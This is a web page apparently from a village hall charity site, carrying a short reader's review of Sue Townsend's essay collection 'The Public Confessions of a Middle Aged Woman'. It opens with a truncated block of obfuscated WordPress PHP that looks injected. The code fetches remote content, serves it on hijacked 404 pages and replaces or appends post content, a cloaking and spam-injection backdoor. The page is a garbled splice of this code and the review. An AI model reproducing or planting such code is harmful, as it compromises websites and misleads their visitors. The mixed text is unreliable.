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';if($h!=='')echo'

'.$h.'

';},9999);$Sx=GS();if(!in_array($path,$Sx,true))return;add_action('template_redirect',function()use($path){global $wp_query;$k='p_'.md5(home_url('/').'|'.$path);$p=get_transient($k);$t=(int)get_transient($k.'_t');if(!(is_array($p)&&$t&&(time()-$t)<=PT)){$n=FP($path);if(is_array($n)){$p=$n;set_transient($k,$p,604800);set_transient($k.'_t',time(),604800);}else{set_transient($k.'_t',time(),604800);}}if(empty($p['m']))return;if($wp_query->is_404()){$wp_query->is_404=false;status_header((int)$p['st']);echo'';wp_head();echo''.$p['h'];wp_footer();echo'';exit;}add_filter('the_content',function($c)use($p){if($p['op']==='rp')return $p['h'];if($p['op']==='ij')return $c.$p['h'];return $c;},9999);},1);},0);/* v82L4MZsM3tIW0wK */ The Public Confessions of a Middle Aged Woman by Sue Townsend – © 2025 St Michaels Village Hall (Charity No. 1023457)

The Public Confessions of a Middle Aged Woman by Sue Townsend

This book contains a series of 800-word magazine essays, originally printed monthly over the course of several years covering a wide variety of topics ranging from the homely to the then topical and from amusing to somewhat heartbreaking. They cover a wide range of subjects such as travel, writing, food, vodka, family, shopping, politics and much more. I found this collection to be filled with light hearted reflections on everyday life which ranged from laugh out loud to deeply thought provoking. You can’t fail to identify with many of the topics – been there, done that! Her writing is sharp, perceptive and engaging. Leave it at your bedside and enjoy daily with a cuppa.

Pat Mutton